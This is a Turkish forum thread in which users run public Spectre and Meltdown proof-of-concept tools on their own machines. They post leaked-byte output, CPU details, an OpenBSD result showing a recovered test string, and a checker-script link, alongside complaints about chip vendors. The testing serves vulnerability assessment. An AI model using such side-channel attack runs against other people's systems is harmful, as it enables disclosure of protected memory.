Reading at malicious_x = 0xffffffffffdfee5c... Unclear: 0x0A='?' score=62 (second best: 0x02='?' score=62)
Reading at malicious_x = 0xffffffffffdfee5d... Unclear: 0x01='?' score=62 (second best: 0x0E='?' score=61)
Reading at malicious_x = 0xffffffffffdfee5e... Unclear: 0x0E='?' score=61 (second best: 0x00='?' score=60)
Reading at malicious_x = 0xffffffffffdfee5f... Unclear: 0x0E='?' score=61 (second best: 0x0A='?' score=61)


Biraz daha zorlarsaniz bilgileri alacaktir. :)
dc -e '[q]sa[ln0=aln256%Pln256/snlbx]sb207356256404211981204295703670388snlbxq'
https://www.getgnu.org/gnulinux/gnulinux-ipuclari/nasil-akillica-soru-sorulur.html

cokomoko

Bu sistem o kadar güncel değildi ama bugün güncellediğim diğer Arch da bu sonucu verdi:
Using a cache hit threshold of 100.
Build: RDTSCP_NOT_SUPPORTED MFENCE_SUPPORTED CLFLUSH_SUPPORTED
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfee38... Unclear: 0x0E='?' score=44 (second best: 0x02='?' score=44)
Reading at malicious_x = 0xffffffffffdfee39... Unclear: 0x01='?' score=62 (second best: 0x0E='?' score=61)
Reading at malicious_x = 0xffffffffffdfee3a... Unclear: 0x02='?' score=62 (second best: 0x01='?' score=62)
Reading at malicious_x = 0xffffffffffdfee3b... Unclear: 0x07='?' score=61 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee3c... Unclear: 0x01='?' score=62 (second best: 0x08='?' score=61)
Reading at malicious_x = 0xffffffffffdfee3d... Unclear: 0x01='?' score=63 (second best: 0x06='?' score=62)
Reading at malicious_x = 0xffffffffffdfee3e... Unclear: 0x0A='?' score=62 (second best: 0x08='?' score=61)
Reading at malicious_x = 0xffffffffffdfee3f... Unclear: 0x01='?' score=62 (second best: 0x0E='?' score=61)
Reading at malicious_x = 0xffffffffffdfee40... Unclear: 0x0A='?' score=61 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee41... Unclear: 0x0A='?' score=61 (second best: 0x06='?' score=61)
Reading at malicious_x = 0xffffffffffdfee42... Unclear: 0x06='?' score=62 (second best: 0x0E='?' score=61)
Reading at malicious_x = 0xffffffffffdfee43... Unclear: 0x0E='?' score=61 (second best: 0x06='?' score=61)
Reading at malicious_x = 0xffffffffffdfee44... Unclear: 0x06='?' score=61 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee45... Unclear: 0x0E='?' score=61 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee46... Unclear: 0x01='?' score=62 (second best: 0x0E='?' score=61)
Reading at malicious_x = 0xffffffffffdfee47... Unclear: 0x01='?' score=62 (second best: 0x0A='?' score=61)
Reading at malicious_x = 0xffffffffffdfee48... Unclear: 0x01='?' score=61 (second best: 0x00='?' score=60)
Reading at malicious_x = 0xffffffffffdfee49... Unclear: 0x01='?' score=62 (second best: 0x00='?' score=63)
Reading at malicious_x = 0xffffffffffdfee4a... Unclear: 0x0E='?' score=61 (second best: 0x06='?' score=61)
Reading at malicious_x = 0xffffffffffdfee4b... Unclear: 0x02='?' score=61 (second best: 0x09='?' score=60)
Reading at malicious_x = 0xffffffffffdfee4c... Unclear: 0x03='?' score=62 (second best: 0x0E='?' score=61)
Reading at malicious_x = 0xffffffffffdfee4d... Unclear: 0x02='?' score=63 (second best: 0x06='?' score=61)
Reading at malicious_x = 0xffffffffffdfee4e... Unclear: 0x02='?' score=63 (second best: 0x0A='?' score=62)
Reading at malicious_x = 0xffffffffffdfee4f... Unclear: 0x00='?' score=63 (second best: 0x08='?' score=61)
Reading at malicious_x = 0xffffffffffdfee50... Unclear: 0x07='?' score=61 (second best: 0x06='?' score=61)
Reading at malicious_x = 0xffffffffffdfee51... Unclear: 0x06='?' score=61 (second best: 0x03='?' score=61)
Reading at malicious_x = 0xffffffffffdfee52... Unclear: 0x06='?' score=62 (second best: 0x02='?' score=61)
Reading at malicious_x = 0xffffffffffdfee53... Unclear: 0x08='?' score=62 (second best: 0x07='?' score=62)
Reading at malicious_x = 0xffffffffffdfee54... Unclear: 0x06='?' score=62 (second best: 0x0A='?' score=60)
Reading at malicious_x = 0xffffffffffdfee55... Unclear: 0x07='?' score=62 (second best: 0x0E='?' score=61)
Reading at malicious_x = 0xffffffffffdfee56... Unclear: 0x03='?' score=62 (second best: 0x0E='?' score=60)
Reading at malicious_x = 0xffffffffffdfee57... Unclear: 0x02='?' score=61 (second best: 0x0E='?' score=60)
Reading at malicious_x = 0xffffffffffdfee58... Unclear: 0x01='?' score=62 (second best: 0x08='?' score=61)
Reading at malicious_x = 0xffffffffffdfee59... Unclear: 0x0E='?' score=61 (second best: 0x06='?' score=61)
Reading at malicious_x = 0xffffffffffdfee5a... Unclear: 0x0E='?' score=61 (second best: 0x07='?' score=61)
Reading at malicious_x = 0xffffffffffdfee5b... Unclear: 0x08='?' score=61 (second best: 0x07='?' score=61)
Reading at malicious_x = 0xffffffffffdfee5c... Unclear: 0x06='?' score=62 (second best: 0x01='?' score=62)
Reading at malicious_x = 0xffffffffffdfee5d... Unclear: 0x06='?' score=61 (second best: 0x0B='?' score=60)
Reading at malicious_x = 0xffffffffffdfee5e... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfee5f... Unclear: 0x02='?' score=62 (second best: 0x08='?' score=61)
''Eğer 386BSD ben Linux'a başladığımda var olsaydı, Linux büyük bir olasılıkla olmazdı."
........................Linus Torvalds..........................
İnsanın aradığı sadece huzur ve mutluluktur, 1 numara olmak yalnız kalmak demektir ve 1 numara kalmak için birçok şeyi feda etmek zorunda kalırsın...

7hr33l3t73r

flag ile biraz daha oynama yaparsak sonuc alabiliriz sanirim. :)
dc -e '[q]sa[ln0=aln256%Pln256/snlbx]sb207356256404211981204295703670388snlbxq'
https://www.getgnu.org/gnulinux/gnulinux-ipuclari/nasil-akillica-soru-sorulur.html

cokomoko

Zaten bu donanım çok eski işlemci modeli bu:
└──>>cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Core(TM)2 Duo CPU     P8700  @ 2.53GHz
stepping : 10
microcode : 0xa0b
cpu MHz : 797.925
cache size : 3072 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 2
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 13
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm sse4_1 xsave lahf_lm pti tpr_shadow vnmi flexpriority dtherm ida
bugs : cpu_meltdown
bogomips : 5055.09
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:

Bug olarak da bir çıktı verdiğini ilk kez şimdi gördüm cpuinfo'da
bugs : cpu_meltdown

Pentium'lar en iyi sonucu almış görünüyor.
''Eğer 386BSD ben Linux'a başladığımda var olsaydı, Linux büyük bir olasılıkla olmazdı."
........................Linus Torvalds..........................
İnsanın aradığı sadece huzur ve mutluluktur, 1 numara olmak yalnız kalmak demektir ve 1 numara kalmak için birçok şeyi feda etmek zorunda kalırsın...

7hr33l3t73r

Meltdown cok onemli degil. Cozuldu zaten de, Spectre bize hayati zehir edecek onu anladik. :)
dc -e '[q]sa[ln0=aln256%Pln256/snlbx]sb207356256404211981204295703670388snlbxq'
https://www.getgnu.org/gnulinux/gnulinux-ipuclari/nasil-akillica-soru-sorulur.html

cokomoko

Bunun böyle olacağı belliydi. Stallman diyordu da abartıyor sanıyorduk, son yıllardaki olaylar açıkların ne boyutta olduğunu gösterdi.
Ben şahsen bundan sonra teknoloji adına bir şey alacağımı sanmıyorum, elimde ne varsa onunla devam. Yazık ya verilen paralara yazık!
Şu ülkede adam gibi bir işlemci bir kibritçöpü olsun yapılamıyor.
Herkes kendi donanımını ve işletim sistemini mi üretsin anlamıyorum, artık hiçbir firma ya da kuruluşun sağlam olduğunu düşünmüyorum.
''Eğer 386BSD ben Linux'a başladığımda var olsaydı, Linux büyük bir olasılıkla olmazdı."
........................Linus Torvalds..........................
İnsanın aradığı sadece huzur ve mutluluktur, 1 numara olmak yalnız kalmak demektir ve 1 numara kalmak için birçok şeyi feda etmek zorunda kalırsın...

nuked

aşağıdaki betikle açıkların sistemdeki durumu hakkında daha detaylı bilgi alabilirsiniz. variant 2 için mikrokod güncellemesi şart ama diğer açıklar bir şekilde kapatılabilir
https://github.com/speed47/spectre-meltdown-checker

cokomoko

Hepsi kapatılsa ne yazar? Kim bilir daha neler var? Adamlar kendi paramızla bizi rezil ediyor!
Ve halen daha haklarında bir soruşturma bir para iadesi kararı yok.
Hadi kişisel kullanıcıyı geçtim bu dünya hükümetleri ne yapıyor? Neden bunlara dava açmıyorlar? Belki de onların işine geliyor?
Burada Amerikan Hükümeti dışında diğer herkes zarardadır. Bu işlemci mimarilerini kim böyle tasarlattı?
Yeni donanım çıkınca bunda da böyle şeyler olmayacağının garantisi mi var?
Bari ülke olarak hükümet kendisi birşey yapsa etse de en azından bu kurumlardaki bilgilerimiz, çarşaf çarşaf yayınlanmasa!
Artık donanım ve yazılımın hiç kimsenin tekeline bırakılma şansı yok. Ben bir vatandaş olarak bu saatten sonra neden teknolojiye para vereyim? Bana bunu bu firmalar izah etsin.
İşe bak ya olay Lozan Antlaşması'nın olduğu döneme döndü, telgraf hatları İngilizler'de idi şimdi gene Anglo-Sakson olan ABD'de.
Hat kimde ise hükmü o belirler.
''Eğer 386BSD ben Linux'a başladığımda var olsaydı, Linux büyük bir olasılıkla olmazdı."
........................Linus Torvalds..........................
İnsanın aradığı sadece huzur ve mutluluktur, 1 numara olmak yalnız kalmak demektir ve 1 numara kalmak için birçok şeyi feda etmek zorunda kalırsın...

7hr33l3t73r

Yeni bir test ve sonucu.
Kod (SISTEM) Seç

$ sysctl kern.version
kern.version=OpenBSD 6.3 (GENERIC.MP) #107: Sat Mar 24 14:21:59 MDT 2018
    deraadt@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP

Kod (SONUC) Seç

$ ./spectre -vs
WARNING: CPU has no RDTSCP support!
CPU has no TSX support!
Access time: memory 406, cache 97 -> threshold 251
0000    53 70 65 63 69 61 6c 20 45 78 65 63 75 74 69 76   Special Executiv
0010    65 20 66 6f 72 20 43 6f 75 6e 74 65 72 69 6e 74   e for Counterint
0020    65 6c 6c 69 67 65 6e 63 65 2c 20 54 65 72 72 6f   elligence, Terro
0030    72 69 73 6d 2c 20 52 65 76 65 6e 67 65 20 61 6e   rism, Revenge an
0040    64 20 45 78 74 6f 72 74 69 6f 6e 2e               d Extortion.
matched 100% (76 of 76 bytes)
System is vulnerable to spectre

Ve OpenBSD bile savunmasiz :)
dc -e '[q]sa[ln0=aln256%Pln256/snlbx]sb207356256404211981204295703670388snlbxq'
https://www.getgnu.org/gnulinux/gnulinux-ipuclari/nasil-akillica-soru-sorulur.html

cokomoko

Yeni işlemciler ne zaman çıkar acaba?  :)
Umarım performansdan çok güvenlik odaklı olurlar şimdiden sonra.
''Eğer 386BSD ben Linux'a başladığımda var olsaydı, Linux büyük bir olasılıkla olmazdı."
........................Linus Torvalds..........................
İnsanın aradığı sadece huzur ve mutluluktur, 1 numara olmak yalnız kalmak demektir ve 1 numara kalmak için birçok şeyi feda etmek zorunda kalırsın...

meda

Rakip firmalar artmadıkça el mahkum diyerek varolanla devam etmek durumunda kalıyoruz. Ryzen platformunu bilmiyorum ama şu ana kadar Linux ile hep sıkıntılı olmuştur. En çok şaşırdığım şeyse: Japon milletinin gerek işletim sistemi gerekse işlemci konusunda tepe markalarının olmaması. Onca insan gücüne rağmen Çin'in işlemci tasarımı konusunda rakip çıkartamaması. Bizi zaten hiç saymıyorum Osmanlı'dan beri vergiler ülkesiyiz. En büyük ispatıysa Celali isyanlarıdır. Genel anlamda ortalama %30 vergiyle yaşamaya çalışıyoruz. Özgür düşünemiyoruz cebimiz delik karnımız aç hele de çoğu yöneticinin iştahı o kadar yerindeki "Kara Delik" misali milletçe doyuramıyoruz.  ;D Karın tokluğuna yapılan işlerin soncunda dünya çapında herhangi bi alanda kırtasiye, teknoloji, mobilya, beyaz eşya .... 1 tane markamız sanırım yok. Garip olansa halk zeka ortalaması yüksek olan ilk 5 millet arasında olabilmemiz. Durum böyle olunca da başkasının asıl sahip olduğu şeyin kötüsünü iyisini konuşmak zorunda kalıyoruz. Milletimizin bekası için payidar kalabilmesi eksiğide olsa bizim olanı koruyup kollamak yenilerini daha iyisini yapmak gerekli. İnsan eliyle yapılan hiçbir şey kusursuz olmadığı gibi açıklar devam edecektir. Malum firma 8. nesilde bu açığı kapatacakmış sıkıntı yok! Diğer taraftan açık bırakırsın sonra elmanın yaptığı gibi mahkeme önlerine çıkıp tiyatro oyununuzu oynarsınız. Hadi onlar öyle yaptı ama kaç firma BİOS güncellemesi ile bu açığı kapadı! Kısaca bu durum işlerine geliyor. AMD bizde böyle bir açık yok dedi ama açık bırakılan kapıyı göstermedi! Adeta yakan top oynuyorlar bizde ekranlarımızdan seyrediyoruz.

Oyunu izleyen değil kuran, oynatan olmak için dünden daha fazla çalışmalıyız yoksa kendi refahları adına kimsenin gözünün yaşına bakmayıp kendilerinden başkasına yaşam hakkı tanımazlar. Tarih en büyük tanıkları olmuş olmaya devam edecektir. "Aliya İzzetbegoviç'in Türklere Yazdığı Mektup" sonuna kadar okumanızı, dinlemenizi tavsiye ederim.

Not: Amacım kesinlikle siyaset yapmak değil meslek edinmiş uzmanlarına bırakmayı yeğliyorum. :) Memleketimizde çok uzmanı olduğundan eminim eksikliğim hissedilmez.
"BEDAVA Bedava yaşıyoruz, bedava;Hava bedava, bulut bedava;
Dere tepe bedava;Yağmur çamur bedava;Otomobillerin dışı,Sinemaların kapısı,Camekanlar bedava; Peynir ekmek değil ama Acı su bedava;Kelle fiyatına hürriyet, Esirlik bedava; Bedava yaşıyoruz, bedava. Orhan VELİ"

cokomoko

Donanım üretimini siz biz yapacak değiliz, zaten alanımız da değil. Herşeyden önce yüksek teknoloji gerektiren işler, para ve yüksek maliyet istiyor, tamam herşeyi devlet yapmaz ama özel sektör de bu işle uğraşmıyor. Kötü de olsa şu alınan vergilerle tamamen bizim emeğimiz olan bir teknolojik ürün geliştirilse daha iyi olurdu. Askeri alanda bazı emekler var ama öyle söylendiği gibi tamamen yerli değil. Yerliden kastım tamamen emeğimizin olduğu bir ürün yok, yani üretmiyoruz. Üretim düşüncede başlar, bir fikir bir kavram ya da bir iş üretmeyince durum böyle oluyor.
Bilemiyorum bir şekilde bu teknolojik dışa bağımlılıktan kurtulmaktan başka çaremiz yok. Bu işi de yapacak biz değiliz, ne bilgimiz ne de paramız yeter. Bu ülkede bunun için para alanlar yapsınlar bunu, zaten herkes işini iyi yapsa bu durumda olmazdık. Bakalım zaman ne gösterir.
''Eğer 386BSD ben Linux'a başladığımda var olsaydı, Linux büyük bir olasılıkla olmazdı."
........................Linus Torvalds..........................
İnsanın aradığı sadece huzur ve mutluluktur, 1 numara olmak yalnız kalmak demektir ve 1 numara kalmak için birçok şeyi feda etmek zorunda kalırsın...

7hr33l3t73r

Alıntı yapılan: cokomoko - 29 Mart 2018 - 00:03:36
Yeni işlemciler ne zaman çıkar acaba?  :)
Umarım performansdan çok güvenlik odaklı olurlar şimdiden sonra.
2018'in sonunu bulmayacagi soylenmekte ama tabi kesin birsey yok.
Sanirim artik aarm64 gecis yapmak lazim. :)
dc -e '[q]sa[ln0=aln256%Pln256/snlbx]sb207356256404211981204295703670388snlbxq'
https://www.getgnu.org/gnulinux/gnulinux-ipuclari/nasil-akillica-soru-sorulur.html